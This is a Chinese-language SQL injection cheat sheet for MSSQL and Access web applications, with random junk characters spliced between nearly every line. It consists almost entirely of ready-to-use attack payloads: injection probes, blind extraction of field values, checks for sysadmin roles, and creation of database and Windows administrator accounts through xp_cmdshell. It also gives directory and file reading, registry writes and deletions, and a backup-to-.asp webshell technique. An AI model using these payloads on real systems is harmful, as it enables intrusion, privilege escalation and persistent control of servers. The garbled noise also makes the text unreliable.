1.判断是否有注入;and 1=1 ;and 1=2 T3~k>"W
2.初步判断是否是mssql ;and user>0 0Z~p%C<LW
q_TRq:&.
3.注入参数是字符'and [查询条件] and ''=' L\Aq6q@c
{K <iih
4.搜索时没过滤参数的'and [查询条件] and '%25'=' w0ht
RzBF~2 >i
5.判断数据库系统 t=|evOz]
y6LWx:
;and (select count(*) from sysobjects)>0 mssql LISM ngQ.
z,Medw6[
;and (select count(*) from msysobjects)>0 access o1Ph~|s*8
4~y(`\0?4
XR+Y=R
TX$r`~
6.猜数据库 ;and (select Count(*) from [数据库名])>0 cimp/n"
~kShq%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 IHe/xQ@
4NGA/
G
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 rQk<90Ar
6""G,"B
9.(1)猜字段的ascii值(access) NYE`Kin-
txW{7[w+,
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 -j%,Oo
qLw{?sH}J/
(2)猜字段的ascii值(mssql) 9)}[7Mg:C
|k+8<\
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 $eD.W
GKOD/,
10.测试权限结构(mssql) -}=i 04^
t?q@H8
' qWALu
21
O'M
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- {)"iiJ
kgnmGuka
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- UF?H>Y&
e}Cif2#d~
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- H$@`,{M629
[<-
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- \]%6|V
KAC6Snu1
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- <\Eh1[F
@W vatD
V
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- gXYI\.
p<zSJLN
;and 1=(select IS_MEMBER('db_owner'));-- &=#[(vl
cV 5CaaL
/e7O$L)
3{ LP?w:@
11.添加mssql和系统的帐户 JQ,1D`?.a
7N-w eX
;exec master.dbo.sp_addlogin username;-- L{hnU7sY
;exec master.dbo.sp_password null,username,password;-- N$h{Yvbn
]F; f`o
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 1abtgDL
vg
D77
;exec master.dbo.xp_cmdshell 'net user username password w9NHk~LHKF
jqv- D
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ?*E'^~,H)
*$p2*%7Ne
;exec master.dbo.xp_cmdshell 'net user username password /add';-- ZkA U17f
b+@JY2dvj
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- '@p['#\uI
lz"OC<D}(
/wP@2ADB
kD*2~Z ?;
12.(1)遍历目录 Rn{iaM2Y<
p8Q,@ql.
;create table dirs(paths varchar(100), id int) c}y [[EX
m\$\ 09
;insert dirs exec master.dbo.xp_dirtree 'c:\' jJuW-(/4[
U7oo$gW%|T
;and (select top 1 paths from dirs)>0 U}MXT<6
Z7_m)@%;kk
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) W0epAGrB
4d8B`Fa9
zY|t0H
Svc|0Ad&
(2)遍历目录 ix(=3/Dgz
r41\r,`Dj
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- G`\f
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 `FYv3w2
Eo#u#IY
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 %,D<O,N
~v]!+`_J
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 4g
:>[q
6ek;8dL
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ~.UrL(l=
oo=Qt(#
e pU:
%n
hm
13.mssql中的存储过程 q o\?o
~ECD`N<YF
xp_regenumvalues 注册表根键, 子键 ,Fi>p0bz
=Qgt${|
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 f.
FYR|%tq
_T2=J+"-Kp
xp_regread 根键,子键,键值名 :,J}z~I,lB
>y[oP!-|P
;exec xp_regread PB#fP_0C
\ gLHi~
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 Gi "941zVl
:{oZ ~<
xp_regwrite 根键,子键, 值名, 值类型, 值 S(uf(q|{
R,|d`)T
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 TZ2=O<Kj
U7I qST
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ( YQWbOk
LE*h9((
xp_regdeletevalue 根键,子键,值名 nS&3?lx9_
xo&]RYG[<
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 >lBD<;T
h=(DX5:A
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 lWqrU1Sjl
oI.G-ChP
1[jb)j1
cIp
D~0\
14.mssql的backup创建webshell 7c~u=U"
8G oh4T H
use model v>Mnl
e0J6Ae4V[
create table cmd(str image); CE"JS-S?
?c7*_<W5
insert into cmd(str) values (''); i} N8(B(
~_s{0g]B
backup database model to disk='c:\l.asp'; ET[kpL
jq+A-T}@
k%E2n:|*
c wOJy>
15.mssql内置函数 S6fL>'uQ
fgBM_c&9T
;and (select @@version)>0 获得Windows的版本号 59#lU~Kv
]ix!tb.Q
;and user_name()='dbo' 判断当前系统的连接用户是不是sa mWyqG*-Hb
&[At`Nw71
;and (select user_name())>0 爆当前系统的连接用户 #hlCs
P1NJ^rX
;and (select db_name())>0 得到当前连接的数据库 &m[Qn!>i6
P0$e~=Q^4
{U84 _Pi
r YF #^
16.简洁的webshell F* .g;So
tqy@iEz+
use model [xT:]Pw}
l/Vo-#
create table cmd(str image); A.D{.a
l27\diKPJ
insert into cmd(str) values (''); V~
TWKuR
CEC
nq3
backup database model to disk='g:\wwwtest\l.asp';